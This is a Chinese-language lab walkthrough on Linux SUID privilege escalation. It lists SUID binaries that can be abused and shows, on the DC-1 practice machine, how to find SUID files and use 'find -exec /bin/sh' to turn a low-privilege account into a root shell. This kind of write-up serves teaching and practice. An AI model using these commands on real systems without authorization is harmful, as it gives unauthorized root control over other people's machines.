一、原理:
设置了SUID的文件可以让调用者在调用该文件时以文件拥有者的身份运行该文件,所以利用SUID提权的原理就是运行拥有者为root并设置了SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了,如果此时可以输入命令,就可以打开一个用户身份为root的shell。
二、已知可用来提权的linux文件:
nmap
vim/vi
find
bash
more
less
nano
cp
三、提权过程
环境:DC-1靶机,基于Debian7.11,已经拥有一个可以用ssh连接的低权限账户flag4,要提升至root权限。
示例:find提权
1. 查看当前用户权限
通过读取/etc/passwd文件查看当前用户权限
cat /etc/passwd
返回如下
可以看到用户flag4的UID为1001,为普通用户。
2. 查找设置了SUID的文件
find / -perm -u=s -type f 2>/dev/null #在根目录下查找设置所有设置了SUID的文件
参数解释:
/ :查找路径为根目录
-perm -u=s : 要查找的文件权限设置了SUID
-type f:要查找的东西类型为文件
2>/dev/null :将报错信息全部丢弃
结果中列出所有设置了SUID的文件,可以看到/usr/bin/find
3. 使用/usr/bin/find提权
①先查看一下/usr/bin/find的权限
ls -l /usr/bin/find #查看find的权限、属主等信息
返回结果中显示/usr/bin/find的拥有者为root,拥有者对该文件的权限为rws,s 表示该文件设置了SUID。满足拥有者为root并设置了suid的条件,可用来提权至root。
②利用find执行命令whoami查看当前身份
find getflag -exec whoami \; #在当前目录查找getflag,然后执行命令whoami。
参数解释:
getflag是当前目录下存在的文件,如不存在可以先创建一个,也可以find其他文件夹的文件,但find的文件必须存在,否则命令无法执行。
返回结果中显示当前身份为root
PS:这一步为非必须,只是习惯性看看命令能否正常执行
③使用find打开一个shell
find getflag -exec "/bin/sh" \;
然后whoami查看当前shell用户,为root
PS:测试的时候发现如果执行的是/bin/bash,发现用户还是原来的flag4,只有执行/bin/sh,得到的才是root。。。不知为何